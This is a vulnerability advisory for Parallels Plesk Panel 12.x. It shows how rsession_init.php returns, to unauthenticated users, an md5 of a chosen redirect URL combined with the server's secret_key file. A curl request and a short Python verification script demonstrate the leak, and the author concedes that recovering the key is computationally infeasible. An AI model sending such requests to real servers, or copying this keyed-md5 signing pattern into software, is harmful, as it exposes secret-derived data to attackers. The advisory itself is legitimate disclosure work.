Parallels Plesk Panel 12.x Key Disclosure

2014.04.23
Credit: Tim Rots
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

While auditing the source code for Parallels Plesk Panel 12.x on Linux I noticed the following feature that leads to leakage of the '/etc/psa/private/secret_key'-file in md5 format to non-authenticated users. Parallels responded that the 16byte 'secret_key' should provide sufficient entropy for this not being an issue. Soooo... even if I can control part of the salt to calculate the md5sum..? See for yourself. Code where the bug resides in: ---- /opt/psa/admin/htdocs/enterprise/rsession_init.php 31 if ($failureRedirectUrl = get_gpc('failure_redirect_url')) { 36 hspc_setopt('failure_redirect_url', $failureRedirectUrl); >37 hspc_setopt('failure_redirect_url_sign', md5($failureRedirectUrl . Plesk_Base_Utils_String::getCryptKey())); 38 } ... .. /opt/psa/admin/plib/Plesk/Base/Utils/String.php 363 final public static function getCryptKey() { ... 369 if (Os::UNIX) { 370 self::$_cryptKey = @file_get_contents(ENCRYPT_KEY_FILE); .. 380 return self::$_cryptKey; 381 } ... .. /opt/psa/admin/plib/compile_time_defaults.php 12 define('ENCRYPT_KEY_FILE', "/etc/psa/private/secret_key"); ---- Summary of bug: - user sends 1 HTTP requst to rsession_init.php on the remote server which contains an invalid PHPSESSIONID and a redirect URL for when the login fails. - script sets two cookies which contains the following values: failure_redirect_url = $failureRedirectUrl (supplied in URL) failure_redirect_url_sign = md5($failureRedirectUrl + contents /etc/psa/private/secret_key) [+] Annoying redirect loop if localhost is specified as url to to redirect to when login fails until cookies are cleared. PoC: root@debian7:~# #see /usr/local/psa/admin/sbin/encrypt_keygen for details on key generation routine root@debian7:~# dd if=/dev/urandom of=/etc/psa/private/secret_key bs=16 count=1 1+0 records in 1+0 records out 16 bytes (16 B) copied, 0.000183366 s, 87.3 kB/s root@debian7:~# hexdump -C /etc/psa/private/secret_key 00000000 99 51 17 9a c6 8c 6e bd 4a 75 98 73 e2 64 fa e4 |.Q....n.Ju.s.d..| $ curl -k -i -s " https://debian7:8443/enterprise/rsession_init.php?PHPSESSID=000000000000000000000000000000000&failure_redirect_url=w00t"|awk '/fail/ {print $2}' . .. ... failure_redirect_url=w00t; failure_redirect_url_sign=03ba5675030c59bf66bbc2f4d30aec61; root@debian7:~# ./poc.py 03ba5675030c59bf66bbc2f4d30aec61 ---poc.py--- #! /usr/bin/env python import hashlib import binascii with open('/etc/psa/private/secret_key') as f: whoops = hashlib.md5("w00t" + binascii.unhexlify(f.read().encode('hex'))).hexdigest() print whoops ------ In theory this bug will give you enough ammunition to calculate the contents of the /etc/psa/private/secret_key as we have part of the salt, and already know the outcome of a insecure hashing algorithm to match against. I'm glad nobody owns the amount of computing power which is required to abuse this bug nowadays anyhow .. :'] Regards, Tim Rots The Netherlands


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top